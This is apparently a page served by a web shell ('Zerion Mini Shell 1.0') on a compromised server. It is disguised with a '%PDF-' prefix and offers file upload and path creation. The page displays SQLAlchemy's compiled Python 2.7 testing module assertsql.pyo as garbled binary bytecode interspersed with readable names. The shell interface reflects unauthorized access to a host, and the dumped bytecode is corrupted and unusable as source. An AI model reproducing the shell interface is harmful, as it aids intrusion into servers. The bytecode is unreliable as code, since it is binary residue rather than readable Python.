%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyo

�
��4]c@s�ddlZddlZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
d	efd
��YZdefd��YZd
efd��YZdefd��YZdefd��YZdefd��YZdefd��YZdefd��YZdefd��YZdefd��YZdefd��YZdejdd d!d"d#g�fd$��YZd%efd&��YZejd'��ZdS((i����Ni(tevent(tutil(turl(tDefaultDialect(t_distill_params(t_DDLCompilest
AssertRulecBs,eZeZdZeZd�Zd�Z	RS(cCsdS(N((tselftexecute_observed((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pytprocess_statementscCsdS(N((R((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pytno_more_statementssN(
t__name__t
__module__tFalsetis_consumedtNoneterrormessagetTruetconsume_statementR	R
(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRs
	tSQLMatchRulecBseZRS((RR(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR$st	CursorSQLcBs#eZeZdd�Zd�ZRS(cCs||_||_dS(N(t	statementtparams(RRR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyt__init__+s	cCs�|jd}|j|jks@|jdk	rh|j|jkrhd|j|j|j|jf|_n.|jjd�t|_|js�t|_	ndS(Nis5Testing for exact SQL %s parameters %s received %s %s(
t
statementsRRRt
parametersRtpopRRR(RRtstmt((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR	/s
!		N(RRR
RRRR	(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR(stCompiledSQLcBsMeZddd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(	tdefaultcCs||_||_||_dS(N(RRtdialect(RRRR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyREs		cCs"tjdd|j�}||kS(Ns[\n\t]t(tretsubR(RRtreceived_statementR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyt_compare_sqlJscCs[|jdkrt�S|jdkr5itd6}ni}tj|j�j�|�SdS(NRt
postgresqltimplicit_returning(RRRRtURLtget_dialect(RRR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyt_compile_dialectNsc	
Cs|j}|j|�}t|jjt�rZ|jjjd|d|jjd��}nB|jjjd|d|jj	d|jj
d|jjd��}tjddt
j|��}|j}|s�|j�g}n"g|D]}|j|�^q�}||fS(sxreconstruct the statement and params in terms
        of a target dialect, which for CompiledSQL is just DefaultDialect.Rtschema_translate_maptcolumn_keystinlines[\n\t]R(tcontextR(t
isinstancetcompiledRRtcompiletexecution_optionstgetR*R+R R!Rt	text_typeRtconstruct_params(	RRR,tcompare_dialectR.t_received_statementRt_received_parameterstm((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR5Ys&				"c
CsV|j}|j|�\}}|j|�}|j||�}|r|dk	rt|�}t|�}x�|r�|r�t|jd��}	xdtt|��D]I\}
}x:|	D]*}||ks�|||	|kr�Pq�q�W||
=Pq�Wt	}PqlW|s|rt	}qqn|r.t
|_d|_n$|j
|�i|d6|d6|_dS(NiR"treceived_parameters(R,R5t_all_paramsR#RtlisttdictRt	enumerateR
RRRt_failure_message(
RRR,R5R6Rt
equivalentt
all_paramstall_receivedtparamtidxtreceivedt	param_key((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR	{s8	
	cCs]|jrUtj|j�r-|j|�}n	|j}t|t�sQ|g}n|SdSdS(N(RRtcallableR-R:R(RR,R((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR9�s		cCsd|jjdd�|fS(NszTesting for compiled statement %r partial params %r, received %%(received_statement)r with params %%(received_parameters)rt%s%%(Rtreplace(Rtexpected_params((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR=�sN(
RRRRR#R(R5R	R9R=(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRDs			"	1	tRegexSQLcBs&eZdd�Zd�Zd�ZRS(cCs>tj|�tj|�|_||_||_d|_dS(NR(RRR R/tregext
orig_regexRR(RRJR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR�s

		cCsd|j|fS(Ns{Testing for compiled statement ~%r partial params %r, received %%(received_statement)r with params %%(received_parameters)r(RK(RRH((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR=�scCst|jj|��S(N(tboolRJtmatch(RRR"((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR#�sN(RRRRR=R#(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRI�s	t
DialectSQLcBs,eZd�Zd�Zd�Zd�ZRS(cCs
|jjS(N(R,R(RR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR(�scCstjdd|�}||kS(Ns[\n\t]R(R R!(Rt	real_stmtt
received_stmtR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyt_compare_no_space�scCsktt|�j|�\}}x:|jD]}|j|j|�r(Pq(q(Wtd|��||jjfS(NsICan't locate compiled statement %r in list of statements actually invoked(	tsuperRNR5RRQRtAssertionErrorR,tcompiled_parameters(RRRPtreceived_paramsRO((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR5�s
cCs�tjdd|j�}|jjj}|dkrKtjdd|�}nZd}|dkrfd}n*|dkr{d	}n|d
kr�d}ntjd||�}||kS(Ns[\n\t]Rtpyformats	:([\w_]+)s%(\1)stqmarkt?tformats%stnumeric(R R!RR,Rt
paramstyleR(RRR"RR[trepl((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR#�s			(RRR(RQR5R#(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRN�s			tCountStatementscBs#eZd�Zd�Zd�ZRS(cCs||_d|_dS(Ni(tcountt_statement_count(RR^((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRs	cCs|jd7_dS(Ni(R_(RR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR	scCs|j|jkrndS(N(R^R_(R((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR

s(RRRR	R
(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR]s		tAllOfcBseZd�Zd�ZRS(cGst|�|_dS(N(tsettrules(RRb((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRscCs�x�t|j�D]d}d|_|j|�|jr^|jj|�|jsZt|_nPq|jsd|_PqqWt|j�dj|_dS(Ni(R:RbRRR	RtdiscardR(RRtrule((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR	s	
				(RRRR	(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR`s	tEachOfcBs#eZd�Zd�Zd�ZRS(cGst|�|_dS(N(R:Rb(RRb((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR(scCs�xh|jrj|jd}|j|�|jrB|jjd�n|jrZ|j|_n|jrPqqW|js�t|_ndS(Ni(RbR	RRRRR(RRRd((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR	+s

				cCsQ|jr.|jdjr.|jdj�n|jrMtt|�j�ndS(Ni(RbRR
RRRe(R((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR
9s	(RRRR	R
(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRe's		tOrcBseZd�ZRS(cCsTxM|jD])}|j|�|jr
t|_Pq
q
Wt|j�dj|_dS(Ni(RbR	RRR:R(RRRd((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR	As
		(RRR	(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRf@stSQLExecuteObservedcBseZd�ZRS(cCs1||_||_t||�|_g|_dS(N(R,t
clauseelementRRR(RR,RhtmultiparamsR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRLs		(RRR(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRgKstSQLCursorExecuteObservedRRR,texecutemanycBseZRS((RR(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRjSstSQLAssertercBs#eZd�Zd�Zd�ZRS(cCs
g|_dS(N(taccumulated(R((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyR]scCs|j|_|`dS(N(Rmt_final(R((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyt_close`scGs�t|�}t|j�}x?|r\|jd�}|j|�|jrMPq|jrqqW|rfn|js||j�ndS(Ni(ReR:RnRR	RRR
(RRbRdtobservedR((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pytassert_ds	
			(RRRRoRq(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyRl\s		c#s�t��g�tj|d��fd��}tj|d���fd��}z	�VWdtj|d|�tj|d|��j�XdS(Ntbefore_executecs|||f�(dS(N((tconnRhRiR(torig(sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pytconnection_execute{stafter_cursor_executecs�|s
dS�jr9�jdj|kr9�jd}n1t|�d�d�d�}�jj|�|jjt||||��dS(Ni����iii(RmR,RgtappendRRj(RstcursorRRR,Rktobs(tasserterRt(sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pytcursor_execute�s	!	(RlRtlistens_fortremoveRo(tengineRuR{((RzRtsO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyt
assert_engineus	!$	(tcollectionst
contextlibR RRRR~Rtengine.defaultRtengine.utilRtschemaRtobjectRRRRRIRNR]R`ReRfRgt
namedtupleRjRltcontextmanagerR(((sO/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/assertsql.pyt<module>s2}."

Zerion Mini Shell 1.0